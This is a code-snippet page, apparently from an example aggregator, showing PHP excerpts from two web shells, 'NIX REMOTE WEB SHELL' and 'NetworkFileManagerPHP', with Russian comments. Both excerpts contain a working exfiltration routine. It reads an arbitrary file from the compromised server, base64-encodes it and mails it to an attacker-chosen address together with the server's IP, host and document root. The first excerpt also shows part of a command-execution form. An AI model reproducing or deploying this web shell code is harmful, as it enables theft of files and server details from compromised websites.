if (!$_POST['dir'] or $_POST['dir'] == "") {
         echo "<input type=hidden name=dir size=85 value=" . exec("pwd") . ">";
     } else {
         echo "<input type=hidden name=dir size=85 value=" . $_POST['dir'] . ">";
     }
     echo "&nbsp;&nbsp;<input type=submit name=submit value=Выполнить>";
     echo "</font>";
     echo "</form>";
     break;
     /// Отправка файлов на мыло
 /// Отправка файлов на мыло
 case "download_mail":
     $buf = explode(".", $file);
     $dir = str_replace("\\", "/", $dir);
     $fullpath = $dir . "/" . $file;
     $size = tinhbyte(filesize($fullpath));
     $fp = fopen($fullpath, "rb");
     while (!feof($fp)) {
         $attachment .= fread($fp, 4096);
     }
     $attachment = base64_encode($attachment);
     $subject = "NIX REMOTE WEB SHELL   ({$file})";
     $boundary = uniqid("NextPart_");
     $headers = "From: {$demail}\nContent-type: multipart/mixed; boundary=\"{$boundary}\"";
     $info = "---==== Сообщение от ({$demail})====---\n\n";
     $info .= "IP:\t{$REMOTE_ADDR}\n";
     $info .= "HOST:\t{$HTTP_HOST}\n";
     $info .= "URL:\t{$HTTP_REFERER}\n";
     $info .= "DOC_ROOT:\t{$PATH_TRANSLATED}\n";
     $info .= "--{$boundary}\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--{$boundary}\nContent-type: application/octet-stream; name={$file} \nContent-disposition: inline; filename={$file} \nContent-transfer-encoding: base64\n\n{$attachment}\n\n--{$boundary}--";
     $send_to = "{$demail}";
예제 #2
0
파일: NFM 1.8.php 프로젝트: Theov/webshells
function download_mail($dir, $file)
{
    global $action, $tm, $cm, $demail, $REMOTE_ADDR, $HTTP_HOST, $PATH_TRANSLATED;
    $buf = explode(".", $file);
    $dir = str_replace("\\", "/", $dir);
    $fullpath = $dir . "/" . $file;
    $size = tinhbyte(filesize($fullpath));
    $fp = fopen($fullpath, "rb");
    while (!feof($fp)) {
        $attachment .= fread($fp, 4096);
    }
    $attachment = base64_encode($attachment);
    $subject = "NetworkFileManagerPHP  ({$file})";
    $boundary = uniqid("NextPart_");
    $headers = "From: {$demail}\nContent-type: multipart/mixed; boundary=\"{$boundary}\"";
    $info = "---==== Сообщение от ({$demail})====---\n\n";
    $info .= "IP:\t{$REMOTE_ADDR}\n";
    $info .= "HOST:\t{$HTTP_HOST}\n";
    $info .= "URL:\t{$HTTP_REFERER}\n";
    $info .= "DOC_ROOT:\t{$PATH_TRANSLATED}\n";
    $info .= "--{$boundary}\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--{$boundary}\nContent-type: application/octet-stream; name={$file} \nContent-disposition: inline; filename={$file} \nContent-transfer-encoding: base64\n\n{$attachment}\n\n--{$boundary}--";
    $send_to = "{$demail}";
    $send = mail($send_to, $subject, $info, $headers);
    if ($send == 2) {
        echo "<br>\r\n\t<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n\t<tr><td align=center>\r\n\t<font color='#FFFFCC' face='Tahoma' size = 2>Спасибо!!!Файл <b>{$file}</b> отправлен вам на <u>{$demail}</u>.</font></center></td></tr></table><br>";
    }
    fclose($fp);
}